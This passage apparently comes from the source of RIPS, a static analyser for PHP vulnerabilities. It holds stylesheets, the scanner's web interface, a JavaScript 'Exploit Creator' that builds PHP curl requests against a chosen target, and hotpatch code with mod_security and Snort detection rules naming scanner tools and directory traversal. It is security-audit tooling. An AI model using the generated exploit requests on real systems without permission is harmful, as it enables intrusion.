#FFFFFF;}\n/*E1E1F9*/\n\n.phps-t-open-tag,\n.phps-t-close-tag,\n.phps-t-and-equal,\n.phps-t-concat-equal,\n.phps-t-div-equal,\n.phps-t-minus-equal,\n.phps-t-mod-equal,\n.phps-t-mul-equal,\n.phps-t-or-equal,\n.phps-t-plus-equal,\n.phps-t-sl-equal,\n.phps-t-sr-equal,\n.phps-t-xor-equal,\n.phps-t-is-equal,\n.phps-t-is-greater-or-equal,\n.phps-t-is-identical,\n.phps-t-is-not-equal,\n.phps-t-is-not-identical,\n.phps-t-object-operator,\n.phps-t-double-colon,\n.phps-t-paamayim-nekudotayim,\n.phps-t-if,\n.phps-t-isset,\n.phps-t-exclaim,\n.phps-t-for,\n.phps-t-foreach,\n.phps-t-return,\n.phps-t-double-arrow,\n.phps-t-as,\n.phps-t-or,\n.phps-t-case,\n.phps-t-default,\n.phps-t-break,\n.phps-t-continue,\n.phps-t-goto,\n.phps-t-and,\n.phps-t-xor,\n.phps-t-global,\n.phps-t-logical-and,\n.phps-t-logical-or,\n.phps-t-boolean-or,\n.phps-t-boolean-and,\n.phps-t-else,\n.phps-t-elseif,\n.phps-t-switch,\n.phps-t-use,\n.phps-t-var,\n.phps-t-inc,\n.phps-t-dec,\n.phps-t-function,\n.phps-t-public,\n.phps-t-private,\n.phps-t-protected,\n.phps-t-static,\n.phps-t-class,\n.phps-t-new,\n.phps-t-bool-cast,\n.phps-t-double-cast,\n.phps-t-int-cast,\n.phps-t-unset-cast,\n.phps-t-file,\n.phps-t-line,\n.phps-t-dir,\n.phps-t-func-c, .phps-t-class-c,\n.phps-t-method-c,\n.phps-t-ns-c\n\t{color: #CF628D;}\n\n.phps-t-const\n\t{color: #CF628D;}\n\n.phps-t-variable,\n.phps-t-variable-marked,\n.phps-t-string-varname,\n.funclistline\n\t{color: #1487BD;}\n\n.phps-t-variable-marked\n\t{background-color:#132F3C;}\n\n.phps-tainted-var\n\t{color: #1AA9EC;}\n\n.phps-t-lnumber\n\t{color: #CF6A4C}\n\n.phps-t-encapsed-and-whitespace,\n.phps-t-constant-encapsed-string\n\t{color: #6C8EB7;}\n/* FFCE42 */\n.phps-t-inline-html\n\t{color: #FFCE42;}\n\n.phps-t-comment,\n.phps-t-ml-comment,\n.phps-t-doc-comment\n\t{color: #2C425D}\n"
  },
  {
    "path": "css/twilight.css",
    "content": "#scrollwindow {\n\tbackground-color: grey;\n\topacity:0.22;\n}\n\n.userinput, .persistent {\n\tlist-style-type: disc;\n\tcolor:white;\n}\n.validated {\n\tlist-style-type: disc;\n\tcolor:red;\n}\n.functioninput {\n\tlist-style-type: disc;\n\tcolor:yellow;\n}\n\n.codebox {\n\tmargin-bottom: 10px;\n\tbackground-color: #141414;\n}\n\n.vulnblock {\n\tbackground-color:#151D24;\n\tcolor:#FFCC44;\n\tfont-weight:bold;\n}\n\n.windowcontent, .filecanvas, #funccodecontent, #funccodetitle, .funclistcontent {\n\tbackground-color: #141414;\n}\n\n.markline {\n\tbackground-color: #531107;\n}\n\n.requires\n\t{color: #D2A8A1; font-weight:bold;}\n\n.linenr\n\t{color: #888;}\n\n.link\n\t{color: #CF6A4C; font-weight:bold;}\n\n.code, .vulntitle {\n\tfont-size:9pt;\n\tfont-family: \"Bitstream Vera Sans Mono\", \"Monaco\", \"Courier New\", monospace;\n}\n\n.code,\n.phps-code, .phps-t-curly-open, .phps-t-dollar-open-curly-braces, .vulntitle\n\t{color: white;  }\n\n.phps-t-string,\n.phps-t-eval,\n.phps-t-print,\n.phps-t-include,\n.phps-t-include-once,\n.phps-t-require,\n.phps-t-require-once,\n.phps-t-isset,\n.phps-t-empty,\n.phps-t-while,\n.phps-t-do,\n.phps-t-try,\n.phps-t-catch,\n.phps-t-exit,\n.phps-t-unset,\n.phps-t-list,\n.phps-t-array,\n.phps-t-echo,\n.phps-t-start-heredoc,\n.phps-t-end-heredoc\n\t{color: #DAD085;}\n\n\n.phps-t-open-tag,\n.phps-t-close-tag,\n.phps-t-and-equal,\n.phps-t-concat-equal,\n.phps-t-div-equal,\n.phps-t-minus-equal,\n.phps-t-mod-equal,\n.phps-t-mul-equal,\n.phps-t-or-equal,\n.phps-t-plus-equal,\n.phps-t-sl-equal,\n.phps-t-sr-equal,\n.phps-t-xor-equal,\n.phps-t-is-equal,\n.phps-t-is-greater-or-equal,\n.phps-t-is-identical,\n.phps-t-is-not-equal,\n.phps-t-is-not-identical,\n.phps-t-object-operator,\n.phps-t-double-colon,\n.phps-t-paamayim-nekudotayim,\n.phps-t-if,\n.phps-t-isset,\n.phps-t-exclaim,\n.phps-t-for,\n.phps-t-foreach,\n.phps-t-return,\n.phps-t-double-arrow,\n.phps-t-as,\n.phps-t-or,\n.phps-t-case,\n.phps-t-default,\n.phps-t-break,\n.phps-t-continue,\n.phps-t-goto,\n.phps-t-and,\n.phps-t-xor,\n.phps-t-global,\n.phps-t-logical-and,\n.phps-t-logical-or,\n.phps-t-boolean-or,\n.phps-t-boolean-and,\n.phps-t-else,\n.phps-t-elseif,\n.phps-t-switch,\n.phps-t-use,\n.phps-t-var,\n.phps-t-inc,\n.phps-t-dec,\n.phps-t-function,\n.phps-t-public,\n.phps-t-private,\n.phps-t-protected,\n.phps-t-static,\n.phps-t-class,\n.phps-t-new,\n.phps-t-bool-cast,\n.phps-t-double-cast,\n.phps-t-int-cast,\n.phps-t-unset-cast,\n.phps-t-file,\n\n.phps-t-line,\n\n.phps-t-dir,\n\n.phps-t-func-c,\n\n.phps-t-class-c,\n\n.phps-t-method-c,\n\n.phps-t-ns-c\n\t{color: #9B703F;}\n\n.phps-t-const\n\t{color: #CF6A4C;}\n\n.phps-t-variable,\n.phps-t-variable-marked,\n.phps-t-string-varname,\n.funclistline\n\t{color: #7587A6;}\n\n.phps-t-variable-marked\n\t{background-color:darkred;}\n\n.phps-tainted-var\n\t{color: #9ABDFB;}\n\n.phps-t-lnumber\n\t{color: #CF6A4C}\n\n.phps-t-encapsed-and-whitespace,\n.phps-t-constant-encapsed-string\n\t{color: #8F9D6A;}\n\n.phps-t-inline-html\n\t{color: #F9EE98;}\n\n.phps-t-comment,\n.phps-t-ml-comment,\n.phps-t-doc-comment\n\t{color: #5F5A60}\n"
  },
  {
    "path": "index.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\ninclude 'config/general.php';\nif (defined(\"MODE_CLI\"))\n\tparse_str(implode('&', array_slice($argv, 1)), $_POST);\t\t\t\t// parse commandline into $_POST\n\n?><html>\n<head>\n\t<meta charset=\"UTF-8\">\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"css/rips.css\" />\n\t<?php\n\n\tforeach($stylesheets as $stylesheet)\n\t{\n\t\techo \"\\t<link type=\\\"text/css\\\" href=\\\"css/$stylesheet.css\\\" rel=\\\"\";\n\t\tif($stylesheet != $default_stylesheet) echo \"alternate \";\n\t\techo \"stylesheet\\\" title=\\\"$stylesheet\\\" />\\n\";\n\t}\n\t?>\n\t<script src=\"js/script.js\"></script>\n\t<script src=\"js/exploit.js\"></script>\n\t<script src=\"js/hotpatch.js\"></script>\n\t<script src=\"js/netron.js\"></script>\n\t<title>RIPS - A static source code analyser for vulnerabilities in PHP scripts</title>\n</head>\n<body>\n\n<div class=\"menu\">\n\t<div style=\"float:left; width:100%;\">\n\t<table width=\"100%\">\n\t<tr><td width=\"75%\" nowrap>\n\t\t<table class=\"menutable\" width=\"50%\" style=\"float:left;\">\n\t\t<tr>\n\t\t\t<td nowrap><b>path / file:</b></td>\n\t\t\t<td colspan=\"3\" nowrap><input type=\"text\" size=80 id=\"location\" value=\"<?php echo BASEDIR; ?>\" title=\"enter path to PHP file(s)\" placeholder=\"/var/www/\">\n\t\t\t</td>\n\t\t\t<td nowrap><input type=\"checkbox\" id=\"subdirs\" value=\"1\" title=\"check to scan subdirectories\" checked/>subdirs\n\t\t\t</td>\n\t\t</tr>\n\t\t<tr>\n\t\t\t<td nowrap>verbosity level:</td>\n\t\t\t<td nowrap>\n\t\t\t\t<select id=\"verbosity\" style=\"width:100%\" title=\"select verbosity level\">\n\t\t\t\t\t<?php\n\n\t\t\t\t\t\t$verbosities = array(\n\t\t\t\t\t\t\t1 => '1. user tainted only',\n\t\t\t\t\t\t\t2 => '2. file/DB tainted +1',\n\t\t\t\t\t\t\t3 => '3. show secured +1,2',\n\t\t\t\t\t\t\t4 => '4. untainted +1,2,3',\n\t\t\t\t\t\t\t5 => '5. debug mode'\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\tforeach($verbosities as $level=>$description)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\techo \"<option value=\\\"$level\\\">$description</option>\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t?>\n\t\t\t\t</select>\n\t\t\t</td>\n\t\t\t<td align=\"right\" nowrap>\n\t\t\tvuln type:\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t<select id=\"vector\" style=\"width:100%\" title=\"select vulnerability type to scan\">\n\t\t\t\t\t<?php\n\n\t\t\t\t\t\t$vectors = array(\n\t\t\t\t\t\t\t'all' \t\t\t=> 'All',\n\t\t\t\t\t\t\t'server' \t\t=> 'All server-side',\n\t\t\t\t\t\t\t'code' \t\t\t=> '- Code Execution',\n\t\t\t\t\t\t\t'exec' \t\t\t=> '- Command Execution',\n\t\t\t\t\t\t\t'file_read' \t=> '- File Disclosure',\n\t\t\t\t\t\t\t'file_include' \t=> '- File Inclusion',\n\t\t\t\t\t\t\t'file_affect' \t=> '- File Manipulation',\n\t\t\t\t\t\t\t'ldap' \t\t\t=> '- LDAP Injection',\n\t\t\t\t\t\t\t'unserialize' \t=> '- PHP Object Injection',\n\t\t\t\t\t\t\t'connect'\t\t=> '- Protocol Injection',\n\t\t\t\t\t\t\t'ri'\t\t \t=> '- Reflection Injection',\n\t\t\t\t\t\t\t'database' \t\t=> '- SQL Injection',\n\t\t\t\t\t\t\t'xpath' \t\t=> '- XPath Injection',\n\t\t\t\t\t\t\t'other' \t\t=> '- other',\n\t\t\t\t\t\t\t'client' \t\t=> 'All client-side',\n\t\t\t\t\t\t\t'xss' \t\t\t=> '- Cross-Site Scripting',\n\t\t\t\t\t\t\t'httpheader'\t=> '- HTTP Response Splitting',\n\t\t\t\t\t\t\t'fixation'\t\t=> '- Session Fixation',\n\t\t\t\t\t\t\t//'crypto'\t\t=> 'Crypto hints'\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\tforeach($vectors as $vector=>$description)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\techo \"<option value=\\\"$vector\\\" \";\n\t\t\t\t\t\t\tif($vector == $default_vector) echo 'selected';\n\t\t\t\t\t\t\techo \">$description</option>\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t?>\n\t\t\t\t</select>\n\t\t\t</td>\n\t\t\t<td><input type=\"button\" value=\"scan\" style=\"width:100%\" class=\"Button\" onClick=\"scan(false);\" title=\"start scan\" /></td>\n\t\t</tr>\n\t\t<tr>\n\t\t\t<td nowrap>code style:</td>\n\t\t\t<td nowrap>\n\t\t\t\t<select name=\"stylesheet\" id=\"css\" onChange=\"setActiveStyleSheet(this.value);\" style=\"width:49%\" title=\"select color schema for scan result\">\n\t\t\t\t\t<?php\n\t\t\t\t\t\tforeach($stylesheets as $stylesheet)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\techo \"<option value=\\\"$stylesheet\\\" \";\n\t\t\t\t\t\t\tif($stylesheet == $default_stylesheet) echo 'selected';\n\t\t\t\t\t\t\techo \">$stylesheet</option>\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t?>\n\t\t\t\t</select>\n\t\t\t\t<select id=\"treestyle\" style=\"width:49%\" title=\"select direction of code flow in scan result\">\n\t\t\t\t\t<option value=\"1\">bottom-up</option>\n\t\t\t\t\t<option value=\"2\">top-down</option>\n\t\t\t\t</select>\n\t\t\t</td>\n\t\t\t<td align=\"right\">\n\t\t\t\t/regex/:\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t<input type=\"text\" id=\"search\" style=\"width:100%\" />\n\t\t\t</td>\n\t\t\t<td>\n\t\t\t\t<input type=\"button\" class=\"Button\" style=\"width:100%\" value=\"search\" onClick=\"search()\" title=\"search code by regular expression\" />\n\t\t\t</td>\n\t\t</tr>\n\t\t</table>\n\t\t<div id=\"options\" style=\"margin-top:-10px; display:none; text-align:center;\" >\n\t\t\t<p class=\"textcolor\">windows</p>\n\t\t\t<input type=\"button\" class=\"Button\" style=\"width:50px\" value=\"files\" onClick=\"openWindow(5);eval(document.getElementById('filegraph_code').innerHTML);\" title=\"show list of scanned files\" />\n\t\t\t<input type=\"button\" class=\"Button\" style=\"width:80px\" value=\"user input\" onClick=\"openWindow(4)\" title=\"show list of user input\" /><br />\n\t\t\t<input type=\"button\" class=\"Button\" style=\"width:50px\" value=\"stats\" onClick=\"document.getElementById('stats').style.display='block';\" title=\"show scan statistics\" />\n\t\t\t<input type=\"button\" class=\"Button\" style=\"width:80px\" value=\"functions\" onClick=\"openWindow(3);eval(document.getElementById('functiongraph_code').innerHTML);\" title=\"show list of user-defined functions\" />\n\t\t</div>\n\t</td>\n\t<td width=\"25%\" align=\"center\" valign=\"center\" nowrap>\n\t\t<!-- Logo by Gareth Heyes -->\n\t\t<div class=\"logo\"><a id=\"logo\" href=\"https://www.ripstech.com/latest/\" target=\"_blank\" title=\"get the latest version\"><?php echo VERSION ?></a></div>\n\t</td></tr>\n\t</table>\n\t</div>\n\n\t<div style=\"clear:left;\"></div>\n</div>\n<div class=\"menushade\"></div>\n\n<div class=\"scanning\" id=\"scanning\">scanning ...\n<div class=\"scanned\" id=\"scanned\"></div>\n</div>\n\n<div id=\"result\">\n\n<?php\nif(defined(\"MODE_CLI\") && !empty($_POST['loc'])){\n\trequire(\"main.php\");\n}\nelse {\n?>\n\t<div style=\"margin-left:30px;color:#000000;font-size:14px\">\n\t\t<h3>Quickstart:</h3>\n\t\t<p>Locate your local PHP source code <b>path/file</b> (e.g. <em>/var/www/project1/</em> or <em>/var/www/index.php</em>), choose the <b>vulnerability type</b> you are looking for and click <u>scan</u>!<br />\n\t\tCheck <b>subdirs</b> to include all subdirectories into the scan. It is recommended to scan only the root directory of your project. Files in subdirectories will be automatically scanned by RIPS when included by the PHP code. However enabling <b>subdirs</b> can improve the scan result and the include success rate (shown in the result).</p>\n\t\t<h3>Advanced:</h3>\n\t\t<p>Debug errors or improve your scan result by choosing a different <b>verbosity level</b> (default level 1 is recommended).<br />\n\t\tAfter the scan finished 4 new button will appear in the upper right. You can select between different types of vulnerabilities that have been found by clicking on their name in the <b>stats</b> window. You can click <b>user input</b> in the upper right to get a list of entry points, <b>functions</b> for a list and graph of all user defined functions or <b>files</b> for a list and graph of all scanned files and their includes. All lists are referenced to the Code Viewer.</p>\n\t\t<h3>Style:</h3>\n\t\t<p>Change the syntax highlighting schema on-the-fly by selecting a different <b>code style</b>.<br />\n\t\tBefore scanning you can choose which way the code flow should be displayed: <b>bottom-up</b> or <b>top-down</b>.</p>\n\t\t<h3>Icons:</h3>\n\t\t<ul>\n\t\t<li class=\"userinput\"><font color=\"black\"><b>User input</b> has been found in this line. Potential entry point for vulnerability exploitation.</font></li>\n\t\t<li class=\"functioninput\"><font color=\"black\">Vulnerability exploitation depends on the <b>parameters</b> passed to the function declared in this line. Have a look at the calls in the scan result.<br />Click <b>&uArr;</b> or <b>&dArr;</b> to jump to the next declaration or call of this function.</font></li>\n\t\t<li class=\"validated\"><font color=\"black\">User-implemented <b>securing</b> has been detected in this line. This may prevent exploitation.</font></li>\n\t\t</ul>\n\t\t<h3>Options:</h3>\n\t\t<ul>\n\t\t<li><div class=\"fileico\"></div>&nbsp;Click the file icon to open the <b>Code Viewer</b> to review the original code. A new window will be opened with all relevant lines highlighted.<br />\n\t\tHighlight variables temporarily by mouseover or persistently by clicking on the variable. Jump into the code of a user-defined function by clicking on the call. Click <u>return</u> on the bottom of the code viewer to jump back. This also works for nested function calls.</li>\n\t\t<li><div class=\"minusico\"></div>&nbsp;Click the minimize icon to <b>hide</b> a specific code trace. You may display it later by clicking the icon again.</li>\n\t\t<li><div class=\"exploit\"></div>&nbsp;Click the target icon to open the <b>Exploit Creator</b>. A new window will open where you can enter exploit details and create PHP Curl exploit code.</li>\n\t\t<li><div class=\"help\"></div>&nbsp;Click the help icon to get a <b>description</b>, example code, example exploitation, patch and related securing functions for this vulnerability type.</li>\n\t\t<li><div class=\"dataleak\"></div>&nbsp;Click the data leak icon to check if the output of the tainted sink <b>leaks</b> somewhere (is embedded to the HTTP response via echo/print).</li>\n\t\t</ul>\n\t\t<h3>Hints:</h3>\n\t\t<ul>\n\t\t<li>RIPS implements <i>static</i> source code analysis. It only scans source code files and will not execute the code.</li>\n\t\t<li>Object-oriented code (classes) is not supported in this version.</li>\n\t\t<li>Make sure RIPS has file permissions on the files to be scanned.</li>\n\t\t<li>Don't leave the webinterface of RIPS open to the public internet. Use it on your <b>local</b> webserver only.</li>\n\t\t<li>Only tested with Firefox.</li>\n\t\t</ul>\n\t</div>\n\n<?php\n}\n?>\n</div>\n\n</body>\n</html>\n"
  },
  {
    "path": "js/exploit.js",
    "content": "/**\n\tRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\t\tby Johannes Dahse (johannes.dahse@rub.de)\n**/\n\nfunction editExploit()\n{\n\tdocument.getElementById('exploitcode').style.display = \"none\";\n\tdocument.getElementById('exploitbuild').style.display = \"block\";\n}\n\nfunction deleteMethod(method)\n{\n\tdocument.getElementById(method+'box').style.display = \"none\";\n}\n\nfunction getQuery(method)\n{\n\tvar query = \"\";\n\tvar elements = document.getElementById(method).elements;\n\tfor(var i=0;i<elements.length;i++)\n\t{\n\t\tquery = query + elements[i].name + '=' + encodeURIComponent(elements[i].value);\n\t\tif(i != elements.length-1)\n\t\t\tquery = query + '&';\n\t}\n\treturn query;\n}\n\nfunction createExploit()\n{\n\tvar name = \"\";\n\tif(document.getElementById('$_GET') != undefined)\n\t\tname = name + 'GET, ';\n\tif(document.getElementById('$_POST') != undefined)\n\t\tname = name + 'POST, ';\n\tif(document.getElementById('$_FILES') != undefined)\n\t\tname = name + 'FILES, ';\n\tif(document.getElementById('$_COOKIE') != undefined)\n\t\tname = name + 'COOKIE, ';\n\tif(document.getElementById('$_SERVER') != undefined)\n\t\tname = name + 'SERVER, ';\n\n\tvar output = \"//<br>// HTTP \"+name+\" <input type=button class='Button' value='edit' onClick='editExploit()'>\";\n\toutput = output + \"<br>//<br><br>$target = $argv[1];<br><br>\";\n\n\tvar target = document.getElementById('target').value;\n\tvar cookiejar = document.getElementById('cookiejar').value;\n\tvar exectime = document.getElementById('exectime').value;\n\tvar ssl = document.getElementById('ssl').checked\n\tvar auth = document.getElementById('auth').checked\n\n\tif(document.getElementById('$_FILES') != undefined)\n\t\toutput = output + \"$postData = array();<br>$postData[ 'file' ] = \\\"@\" + document.getElementById('$_FILES').elements[0].value + \"\\\";<br><br>\";\n\n\tif(auth)\n\t{\n\t\toutput = output + \"$username = \\\"\\\";<br>$password = \\\"\\\";<br><br>\";\n\t}\n\n\toutput = output + \"$ch = curl_init();<br>curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);<br>\";\n\n\tif(document.getElementById('$_GET') != undefined)\n\t{\n\t\tvar getquery = getQuery('$_GET');\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_URL, \\\"\" + target + '?' + getquery + \"\\\");<br>\";\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_HTTPGET, 1);<br>\";\n\t}\n\telse\n\t{\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_URL, \\\"\" + target + \"\\\");<br>\";\n\t}\n\n\toutput = output + \"curl_setopt($ch, CURLOPT_USERAGENT, \\\"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\\\");<br>\";\n\n\n\tif(document.getElementById('$_POST') != undefined || document.getElementById('$_FILES') != undefined)\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_POST, 1);<br>\";\n\n\tif(document.getElementById('$_POST') != undefined)\n\t{\n\t\tvar postquery = getQuery('$_POST');\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_POSTFIELDS, \\\"\" + postquery + \"\\\");<br>\";\n\t}\n\n\tif(document.getElementById('$_FILES') != undefined)\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_POSTFIELDS, $postData );<br>\";\n\n\tif(document.getElementById('$_COOKIE') != undefined)\n\t{\n\t\tvar cookie = getQuery('$_COOKIE');\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_COOKIE, \\\"\" + cookie + \"\\\");<br>\";\n\t}\n\n\tif(document.getElementById('$_SERVER') != undefined)\n\t{\n\t\tvar elements = document.getElementById('$_SERVER').elements;\n\t\tfor(var i=0;i<elements.length;i++)\n\t\t{\n\t\t\tif(elements[i].name == 'HTTP_USER_AGENT')\n\t\t\t\toutput = output + \"curl_setopt($ch, CURLOPT_USERAGENT, \\\"\"+elements[i].value+\"\\\");<br>\";\n\t\t\telse if(elements[i].name == 'HTTP_ACCEPT')\n\t\t\t\toutput = output + \"curl_setopt($ch, CURLOPT_HTTPHEADER, \\\"Accept: \"+elements[i].value+\"\\\");<br>\";\n\t\t\telse if(elements[i].name == 'HTTP_ACCEPT_LANGUAGE')\n\t\t\t\toutput = output + \"curl_setopt($ch, CURLOPT_HTTPHEADER, \\\"Accept-Language: \"+elements[i].value+\"\\\");<br>\";\n\t\t\telse if(elements[i].name == 'HTTP_ACCEPT_ENCODING')\n\t\t\t\toutput = output + \"curl_setopt($ch, CURLOPT_ENCODING, \\\"\"+elements[i].value+\"\\\");<br>\";\n\t\t\telse if(elements[i].name == 'HTTP_ACCEPT_CHARSET')\n\t\t\t\toutput = output + \"curl_setopt($ch, CURLOPT_HTTPHEADER, \\\"Accept-Charset: \"+elements[i].value+\"\\\");<br>\";\n\t\t\telse if(elements[i].name == 'HTTP_KEEP_ALIVE')\n\t\t\t\toutput = output + \"curl_setopt($ch, CURLOPT_HTTPHEADER, array(\\\"Connection: keep-alive\\\", \\\"Keep-Alive: \"+elements[i].value+\"\\\"));<br>\";\n\t\t\telse if(elements[i].name == 'HTTP_CONNECTION')\n\t\t\t\toutput = output + \"curl_setopt($ch, CURLOPT_HTTPHEADER, \\\"Connection: \"+elements[i].value+\"\\\");<br>\";\n\t\t}\n\t}\n\n\n\tif(exectime != \"\")\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_TIMEOUT, \" + exectime + \");<br>curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, \" + exectime + \");<br>curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, \" + exectime + \");<br>\";\n\n\tif(cookiejar != \"\")\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_COOKIEJAR, \\\"\" + cookiejar + \"\\\");<br>\";\n\n\tif(ssl)\n\t{\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);<br>\";\n\t\toutput = output + \"curl_setopt($ch,\tCURLOPT_SSL_VERIFYHOST, FALSE);<br>\";\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);<br>\";\n\t}\n\n\tif(auth)\n\t{\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);<br>\";\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_USERPWD, \\\"$username:$password\\\");<br>\";\n\t}\n\n\toutput = output + \"$buf = curl_exec ($ch);<br>curl_close($ch);<br>unset($ch);<br>\";\n\toutput = output + \"<br>echo $buf;<br>\";\n\n\tvar exploitdiv = document.getElementById('exploitcode');\n\texploitdiv.innerHTML = output;\n\texploitdiv.style.display = \"block\";\n\tdocument.getElementById('exploitbuild').style.display = \"none\";\n}\n\nfunction setssl()\n{\n\tvar targetelement = document.getElementById('target');\n\tvar newset;\n\tvar oldset = targetelement.value;\n\tif(document.getElementById('ssl').checked)\n\t{\n\t\toldset = oldset.replace(/https:/, \"http:\");\n\t\tnewset = oldset.replace(/http:/, \"https:\");\n\t} else\n\t{\n\t\tnewset = oldset.replace(/https/, \"http\");\n\t}\n\ttargetelement.value = newset;\n}\n"
  },
  {
    "path": "js/hotpatch.js",
    "content": "function getParams(method)\n{\n\tvar query = \"\";\n\tvar elements = document.getElementById(method).elements;\n\tfor(var i=0;i<elements.length;i++)\n\t{\n\t\tif(elements[i].name !== 'filter')\n\t\t{\n\t\tquery = query + elements[i].name + '=' + elements[i].value;\n\t\tif(i != elements.length-2)\n\t\t\tquery = query + '&';\n\t\t}\n\t}\n\treturn query;\n}\n\nfunction createHotpatch()\n{\n\tvar output = \"mod_security rule:<br><br>\";\n\n\tif(document.getElementById('$_GET') != undefined)\n\t{\n\t\tvar getquery = getParams('$_GET');\n\t\toutput = output + \"SecFilterSelective QUERY_STRING \\\"\"+getquery+\"\\\" \\\"deny,log,auditlog,status:404,msg:'Protected by RIPS',id:'990002',severity:'4'\\\"\";\n\t}\n\n\n\tvar exploitdiv = document.getElementById('hotpatchcode');\n\texploitdiv.innerHTML = output;\n\texploitdiv.style.display = \"block\";\n\tdocument.getElementById('hotpatchbuild').style.display = \"none\";\n}\n\n/*\n// snort\n\nalert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:\"WEB-CGI yabb directory traversal attempt\"; flow:to_server,established; uricontent:\"/YaBB\"; nocase; content:\"../\"; classtype:attempted-recon;)\n\n\n// mod_security\n\n// SERVER\nSecRule REQUEST_HEADERS:User-Agent \"(?:\\b(?:m(?:ozilla\\/4\\.0 \\(compatible\\)|etis)|webtrends security analyzer|pmafind)\\b|n(?:-stealth|sauditor|essus|ikto)|b(?:lack ?widow|rutus|ilbo)|(?:jaascoi|paro)s|webinspect|\\.nasl)\"\n        \"deny,log,auditlog,status:404,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990002',severity:'4'\"\n\n\t\thttp://www.modsecurity.org/documentation/modsecurity-apache/1.9.3/html-multipage/04-rules.html\n\t*/\n"
  },
  {
    "path": "js/netron.js",
    "content": "Function.prototype.bind = function(obj)\n{\n\tvar fn = this;\n\treturn function()\n\t{\n\t\treturn fn.apply(obj, arguments);\n\t};\n};\n\nArray.prototype.remove = function(obj)\n{\n\tvar i = this.length;\n\twhile (i--)\n\t{\n\t\tif (this[i] == obj)\n\t\t{\n\t\t\tthis.splice(i, 1);\n\t\t}\n\t}\n};\n\nArray.prototype.contains = function(obj)\n{\n\tvar i = this.length;\n\twhile (i--)\n\t{\n\t\tif (this[i] == obj)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n};\n\nvar Point = function(x, y)\n{\n\tthis.x = x;\n\tthis.y = y;\n}\n\nvar Rectangle = function(x, y, width, height)\n{\n\tthis.x = x;\n\tthis.y = y;\n\tthis.width = width;\n\tthis.height = height;\n};\n\nRectangle.prototype.contains = function(point)\n{\n\treturn ((point.x >= this.x) && (point.x <= (this.x + this.width)) && (point.y >= this.y) && (point.y <= (this.y + this.height)));\n};\n\nRectangle.prototype.inflate = function(dx, dy)\n{\n\tthis.x -= dx;\n\tthis.y -= dy;\n\tthis.width += dx + dx + 1;\n\tthis.height += dy + dy + 1;\n};\n\nRectangle.prototype.union = function(rectangle)\n{\n\tvar x1 = (this.x < rectangle.x) ? this.x : rectangle.x;\n\tvar y1 = (this.y < rectangle.y) ? this.y : rectangle.y;\n\tvar x2 = ((this.x + this.width) < (rectangle.x + rectangle.width)) ? (rectangle.x + rectangle.width) : (this.x + this.width);\n\tvar y2 = ((this.y + this.height) < (rectangle.y + rectangle.height)) ? (rectangle.y + rectangle.height) : (this.y + this.height);\n\treturn new Rectangle(x1, y1, x2 - x1, y2 - y1);\n};\n\nRectangle.prototype.topLeft = function()\n{\n\treturn new Point(this.x, this.y);\n};\n\nCanvasRenderingContext2D.prototype.dashedLine = function(x1, y1, x2, y2)\n{\n\tthis.moveTo(x1, y1);\n\tvar dx = x2 - x1;\n\tvar dy = y2 - y1;\n\tvar count = Math.floor(Math.sqrt(dx * dx + dy * dy) / 3); // dash length\n\tvar ex = dx / count;\n\tvar ey = dy / count;\n\n\tvar q = 0;\n\twhile (q++ < count)\n\t{\n\t\tx1 += ex;\n\t\ty1 += ey;\n\t\tif (q % 2 === 0)\n\t\t{\n\t\t\tthis.moveTo(x1, y1);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tthis.lineTo(x1, y1);\n\t\t}\n\t}\n\tif (q % 2 === 0)\n\t{\n\t\tthis.moveTo(x2, y2);\n\t}\n\telse\n\t{\n\t\tthis.lineTo(x2, y2);\n\t}\n};\n\nCanvasRenderingContext2D.prototype.roundedRect = function(x, y, width, height, radius)\n{\n  this.beginPath();\n  this.moveTo(x + radius, y);\n  this.lineTo(x + width - radius, y);\n  this.quadraticCurveTo(x + width, y, x + width, y + radius);\n  this.lineTo(x + width, y + height - radius);\n  this.quadraticCurveTo(x + width, y + height, x + width - radius, y + height);\n  this.lineTo(x + radius, y + height);\n  this.quadraticCurveTo(x, y + height, x, y + height - radius);\n  this.lineTo(x, y + radius);\n  this.quadraticCurveTo(x, y, x + 